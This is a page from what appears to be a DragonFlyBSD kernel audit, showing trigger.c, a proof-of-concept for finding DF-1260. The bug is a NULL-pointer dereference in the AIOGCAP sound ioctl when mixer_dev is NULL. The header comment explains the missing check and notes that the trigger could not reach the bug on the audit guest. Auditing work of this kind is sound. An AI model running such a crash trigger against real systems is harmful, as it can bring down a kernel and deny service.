DragonFlyBSD Kernel Audit
DF-1260 / trigger.c
← back to finding ↓ download raw
/*
 * DF-1260 trigger attempt (AIOGCAP NULL-deref when mixer_dev == NULL)
 *
 * dsp.c:1311  pdev = d->mixer_dev;            // NO NULL check
 * dsp.c:1313  p->inputs = pdev->si_drv1 ? mix_getdevs(pdev->si_drv1) : 0;
 *                                  ^^^^^^^^^^
 * the ternary guards pdev->si_drv1 but NOT pdev itself; if d->mixer_dev
 * is NULL (mixer_init failed, or mid-detach after mixer_uninit) the
 * access pdev->si_drv1 derefs NULL + offsetof(si_drv1) => fatal trap.
 *
 * Sibling ioctls in the same file ALL guard:  dsp.c:1124,1852,1865,2760.
 *
 * ATTEMPT ON AUDIT GUEST:
 *   - kldload sound.ko succeeds and creates /dev/dsp (0666), BUT
 *   - no snd_* PCI bridge attaches (no audio HW) => zero pcm devices
 *     registered (/dev/sndstat empty), so open("/dev/dsp") fails and the
 *     AIOGCAP handler is never reached.
 *   - Reaching the bug needs: real audio HW + a snd_* driver that
 *     registers a pcm device whose mixer_init failed (or a detach race).
 *
 * So this PoC cannot fire on the audit guest. Source-level bug confirmed;
 * see VERDICT.md.
 */

#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>   /* AIOGCAP, snd_capabilities */

int main(void)
{
    int fd = open("/dev/dsp", O_RDWR);
    printf("open(/dev/dsp) fd=%d errno=%d (%s)\n", fd, errno, strerror(errno));
    if (fd < 0) {
        printf("NOT REACHED: no pcm device registered on this guest "
               "(no audio hardware); AIOGCAP path is dead code here.\n");
        return 1;
    }
    snd_capabilities caps;
    if (ioctl(fd, AIOGCAP, &caps) < 0)
        printf("AIOGCAP errno=%d (%s)\n", errno, strerror(errno));
    return 0;
}